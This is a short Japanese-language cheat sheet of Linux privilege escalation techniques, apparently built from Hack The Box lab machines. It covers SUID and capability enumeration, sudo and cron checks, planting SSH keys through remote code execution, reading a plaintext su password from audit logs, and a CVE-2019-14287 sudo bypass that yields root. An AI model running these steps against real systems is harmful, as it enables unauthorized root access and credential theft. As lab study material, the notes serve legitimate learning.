Linuxの特権昇格
列挙
SUID
find / -perm -4000 2>/dev/null
sudo
sudo -l
プロセス
ps awxww
サービス
ss -antul
Capability
david@nunchucks:/opt$ which perl
/usr/bin/perl
david@nunchucks:/opt$ getcap /usr/bin/perl
/usr/bin/perl = cap_setuid+ep
apache2 config
/etc/apache2/sites-enabled
ssh-keygen プロンプトなし。(RCEでリモートマシン上にssh-keygenするときに使う)
ssh-keygen -t rsa -P '' -f /home/matt/.ssh/id_rsa
SSH port forwerding
ssh daniel@panda.htb -L 9999:localhost:80
cron
cat /etc/cron.d/*
and
cat /var/spool/cron/crontabs/* cat: '/var/spool/cron/crontabs/*': Permission denied
監査ログ
- ユーザがadmグループにいるとき、監査ログが確認できる。その他/ver/logの確認も。
cry0l1t3@academy:/$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
cry0l1t3@academy:/$ aureport --tty
TTY Report
===============================================
# date time event auid term sess comm data
===============================================
Error opening config file (Permission denied)
NOTE - using built-in logs:
/var/log/audit/audit.log
1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl>
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>
3. 08/12/2020 02:28:24 89 0 ? 1 sh "whoami",<nl>
4. 08/12/2020 02:28:28 90 0 ? 1 sh "exit",<nl>
5. 08/12/2020 02:28:37 93 0 ? 1 sh "/bin/bash -i",<nl>
sudo
sudo 1.8.28 より前のバージョンでは、CVE-2019-14287を適用できる場合がある。JPCERT
hugo@blunder:~$ sudo --version
Sudo version 1.8.25p1
hugo@blunder:~$ sudo -l
Password:
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
hugo@blunder:~$ sudo -u#-1 bash
root@blunder:/home/hugo# id
uid=0(root) gid=1001(hugo) groups=1001(hugo)